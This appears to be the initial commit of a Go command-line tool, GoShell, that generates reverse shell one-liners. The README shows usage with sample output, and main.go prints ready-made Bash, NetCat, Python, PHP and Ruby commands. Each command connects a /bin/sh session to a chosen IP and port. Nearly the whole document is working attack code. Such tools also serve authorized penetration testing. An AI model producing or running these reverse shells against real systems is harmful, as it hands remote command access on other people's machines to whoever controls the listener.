first commit

README.md

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+# GoShell
+Generate reverse shells in command line.
+
+## Usage
+```
+USAGE:
+   goshell [global options] command [command options] [arguments...]
+
+COMMANDS:
+   bash     Generate a Bash reverse shell
+   nc       Generate NetCat reverse shells
+   php      Generate a PHP reverse shell
+   py       Generate a Python reverse shell
+   ruby     Generate a Ruby reverse shell
+   help, h  Shows a list of commands or help for one command
+
+COMMAND OPTIONS:
+   --ip value    (default: "127.0.0.1")
+   --port value  (default: "8080")
+   --help, -h    show help (default: false)
+
+GLOBAL OPTIONS:
+   --help, -h  show help (default: false)
+```
+
+## Example
+```
+> ./goshell bash -ip 1.2.3.4 -port 1337                                                                                                            ~/dev/go/goshell
+GoShell - (c)2020 - ezekiel
+Note that those shells may not work on your target !
+
+rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.2.3.4 1337 >/tmp/f
+
+> ./goshell nc                                                                                                                                 ~/dev/go/goshell
+GoShell - (c)2020 - ezekiel
+Note that those shells may not work on your target !
+
+#1: nc -e /bin/sh 127.0.0.1 8080
+#2: /bin/sh | nc 127.0.0.1 8080
+#3: rm -f /tmp/p; mknod /tmp/p p && nc 127.0.0.1 8080 0/tmp/p
+```

go.mod

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+module github.com/eze-kiel/goshell
+
+go 1.14
+
+require (
+	github.com/logrusorgru/aurora v2.0.3+incompatible
+	github.com/urfave/cli v1.22.4
+)

go.sum

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+github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
+github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d h1:U+s90UTSYgptZMwQh2aRr3LuazLJIa+Pg3Kc1ylSYVY=
+github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
+github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
+github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
+github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
+github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
+github.com/urfave/cli v1.22.4 h1:u7tSpNPPswAFymm8IehJhy4uJMlUuU/GmqSkvJ1InXA=
+github.com/urfave/cli v1.22.4/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=

main.go

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+package main
+
+import (
+	"fmt"
+	"log"
+	"os"
+	"sort"
+
+	. "github.com/logrusorgru/aurora"
+	"github.com/urfave/cli"
+)
+
+func main() {
+	app := cli.NewApp()
+	app.Name = "GoShell"
+	app.Usage = "Generate reverse shells in command line"
+
+	myFlags := []cli.Flag{
+		&cli.StringFlag{
+			Name:  "ip",
+			Value: "127.0.0.1",
+		},
+		&cli.StringFlag{
+			Name:  "port",
+			Value: "8080",
+		},
+	}
+
+	app.Commands = []cli.Command{
+		{
+			Name:  "bash",
+			Usage: "Generate a Bash reverse shell",
+			Flags: myFlags,
+			Action: func(c *cli.Context) error {
+				fmt.Printf("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f\n", c.String("ip"), c.String("port"))
+				return nil
+			},
+		},
+		{
+			Name:  "py",
+			Usage: "Generate a Python reverse shell",
+			Flags: myFlags,
+			Action: func(c *cli.Context) error {
+				fmt.Printf("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n", c.String("ip"), c.String("port"))
+				return nil
+			},
+		},
+		{
+			Name:  "nc",
+			Usage: "Generate NetCat reverse shells",
+			Flags: myFlags,
+			Action: func(c *cli.Context) error {
+				fmt.Print(fmt.Sprint(Magenta("#1: ")))
+				fmt.Printf("nc -e /bin/sh %s %s\n", c.String("ip"), c.String("port"))
+
+				fmt.Print(fmt.Sprint(Magenta("#2: ")))
+				fmt.Printf("/bin/sh | nc %s %s\n", c.String("ip"), c.String("port"))
+
+				fmt.Print(fmt.Sprint(Magenta("#3: ")))
+				fmt.Printf("rm -f /tmp/p; mknod /tmp/p p && nc %s %s 0/tmp/p\n", c.String("ip"), c.String("port"))
+				return nil
+			},
+		},
+		{
+			Name:  "php",
+			Usage: "Generate a PHP reverse shell",
+			Flags: myFlags,
+			Action: func(c *cli.Context) error {
+
+				fmt.Print(fmt.Sprint(Green("(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)\n")))
+				fmt.Printf("php -r '$sock=fsockopen(\"%s\",%s);exec(\"/bin/sh -i <&3 >&3 2>&3\");'", c.String("ip"), c.String("port"))
+
+				return nil
+			},
+		},
+		{
+			Name:  "ruby",
+			Usage: "Generate a Ruby reverse shell",
+			Flags: myFlags,
+			Action: func(c *cli.Context) error {
+				fmt.Printf("ruby -rsocket -e'f=TCPSocket.open(\"%s\",%s).to_i;exec sprintf(\"/bin/sh -i <&%%d >&%%d 2>&%%d\",f,f,f)'", c.String("ip"), c.String("port"))
+				return nil
+			},
+		},
+	}
+
+	// Start message
+	fmt.Print(fmt.Sprint(Blue("GoShell - (c)2020 - ezekiel\n").Bold()))
+	fmt.Print(fmt.Sprint(Red("Note that those shells may not work on your target !\n\n").Bold()))
+
+	// Sort commands list in help panel by name
+	sort.Sort(cli.CommandsByName(app.Commands))
+	err := app.Run(os.Args)
+	if err != nil {
+		log.Fatal(err)
+	}
+}